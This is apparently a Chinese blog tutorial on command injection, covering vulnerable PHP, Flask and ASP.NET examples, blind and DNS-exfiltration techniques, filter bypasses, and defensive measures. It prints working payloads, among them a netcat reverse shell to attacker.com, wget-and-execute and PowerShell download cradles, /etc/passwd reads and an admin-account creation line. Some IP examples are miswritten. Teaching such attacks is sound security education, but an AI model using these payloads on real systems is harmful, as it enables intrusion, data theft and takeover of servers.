命令注入案例

wen java案例 1

本文目录导读:

命令注入案例

  1. 案例一:基础型 - Ping检查工具
  2. 案例二:基于错误/盲注型 - DNS日志查询
  3. 案例三:Windows环境 - 文件名搜索
  4. 案例四:绕过防御 - 空格/黑名单绕过

关于命令注入(Command Injection),这通常是攻击者通过在Web应用或系统的输入字段中插入恶意系统命令,从而在服务器上执行非授权的操作。

这里为你整理几个典型的命令注入案例,涵盖从简单到复杂的场景,以及相应的攻击原理和防御措施。

基础型 - Ping检查工具

这是最常见的入门级案例,通常出现在网站的诊断工具中(如 Ping、Traceroute、Nslookup)。

  • 背景:一个网站提供“检查网络连通性”功能,用户输入IP地址,服务器执行 ping 命令并返回结果。

  • 安全漏洞代码(PHP为例)

    // 危险代码:直接拼接用户输入到系统命令
    $ip = $_GET['ip'];
    $output = shell_exec("ping -c 4 " . $ip);
    echo "<pre>$output</pre>";
  • 正常使用:用户在输入框中输入 8.8.8,服务器执行 ping -c 4 8.8.8.8

  • 攻击利用:攻击者输入:

    8.8.8 ; ls /
    • 原理:在Linux/Unix系统中,分号 用于分隔多条命令,服务器实际执行的命令变为:
      ping -c 4 8.8.8.8 ; ls /

      这会先ping谷歌DNS,然后列出服务器根目录

  • 更进一步的攻击

    # 读取敏感文件
    8.8.8.8 && cat /etc/passwd
    # 开启反向Shell(后续包含后续控制)
    8.8.8.8 | nc -e /bin/sh attacker.com 4444
    # 下载并执行恶意软件
    8.8.8.8 | wget http://恶意服务器/malware.sh && chmod +x malware.sh && ./malware.sh

基于错误/盲注型 - DNS日志查询

当应用程序不直接返回命令执行结果(Blind Command Injection),攻击者需要通过外部观察(如时间延迟、DNS请求)来窃取数据。

  • 背景:一个应用接收用户输入的域名,检查其DNS记录。

  • 安全漏洞代码(Python Flask为例)

    import subprocess
    from flask import request
    @app.route('/dns_lookup', methods=['POST'])
    def lookup():
        domain = request.form['domain']
        # 危险:未过滤
        result = subprocess.check_output(f'nslookup {domain}', shell=True)
        return result
  • 攻击利用(时间盲注): 输入:

    google.com && sleep 5
    • 原理:如果浏览器等待了5秒才返回结果,证明命令注入成功。
  • 攻击利用(数据外带 - 通过DNS): 攻击者可以构造命令,将数据内容作为DNS请求的一部分发送到自己的服务器:

    google.com && nslookup `whoami`.attacker-controlled-domain.com
    • 原理:服务器会执行 nslookup root.attacker-controlled-domain.com,攻击者在自己的DNS服务器上看到来自目标服务器的包含用户名 (root) 的请求,从而窃取数据。

Windows环境 - 文件名搜索

Windows系统的命令注入利用方式与Linux不同,但同样危险。

  • 背景:一个应用允许用户输入文件名的一部分,搜索服务器上的文件。

  • 安全漏洞代码(ASP.NET C# 为例)

    // 危险代码
    string searchTerm = Request.QueryString["file"]; // 用户输入: report.txt
    Process.Start("cmd.exe", "/c dir /b " + searchTerm);
  • 攻击利用: 攻击者输入:

    report.txt & whoami
    • 原理:在Windows命令提示符中,&(或 、&&)用于连接命令,实际执行:
      dir /b report.txt & whoami

      这会返回当前用户身份。

  • 更危险的利用

    # 添加用户到管理员组
    report.txt & net user hacker Password123! /add & net localgroup Administrators hacker /add
    # 通过PowerShell执行远程脚本
    report.txt | powershell -Command "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://恶意服务器/evil.ps1')"

绕过防御 - 空格/黑名单绕过

很多开发者会尝试过滤危险字符,但攻击者可以绕过。

  • 场景:开发人员过滤了空格 (;|&$` 等字符。
  • 绕过技巧
    1. Tab替代空格:在Linux下,Tab (%09\t) 可以充当命令分隔符。
      • 输入:8.8.8%09ls%09-la
    2. 环境变量拼接
      • 输入:8.8.8;{$IFS}cat${IFS}/etc/passwd (使用内部字段分隔符 $IFS 代替空格)
    3. 编码/Bash扩展
      • 输入:8.8.8;c'at' /etc'/'passwd (单引号被Bash忽略)
      • 输入:8.8.8;$(printf "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64") (十六进制编码)
    4. 换行符
      • 输入:8.8.8%0acat /etc/passwd (URL编码的换行符 %0a 也可以作为命令结束符)
    5. 无参数命令:如果目标程序是 curl,攻击者可以使用 -o 参数将内容写入新文件,而不需要使用分号。
  1. 避免直接调用系统命令:优先使用语言内置的API或库函数(如PHP的 filter_var、Python的 socket.gethostbyname)。
  2. 输入验证(白名单):只允许预期格式的输入(如纯IP地址、纯域名),对不符合规则的输入直接拒绝。
    • 例子: if (!preg_match('/^[a-zA-Z0-9.-]+$/', $domain)) { die('无效输入'); }
  3. 转义与参数化:如果不得不调用系统命令,使用不经过Shell的函数(如PHP的 escapeshellcmd + escapeshellarg,Python的 subprocess.runlist 模式)。
    • 安全代码示例 (Python):
      # 安全:不设置 shell=True,并使用列表传递参数
      subprocess.run(['ping', '-c', '4', user_input])
  4. 最小权限原则:确保运行Web服务的系统用户(如 www-data)只有执行其任务所需的最低权限,不能写入系统目录或添加用户。
  5. 禁用危险函数:在PHP中,可以在 php.ini 中禁用 execsystemshell_execpassthrupopen 等函数。

上一篇Java SQL注入案例

下一篇当前分类已是最新一篇

抱歉,评论功能暂时关闭!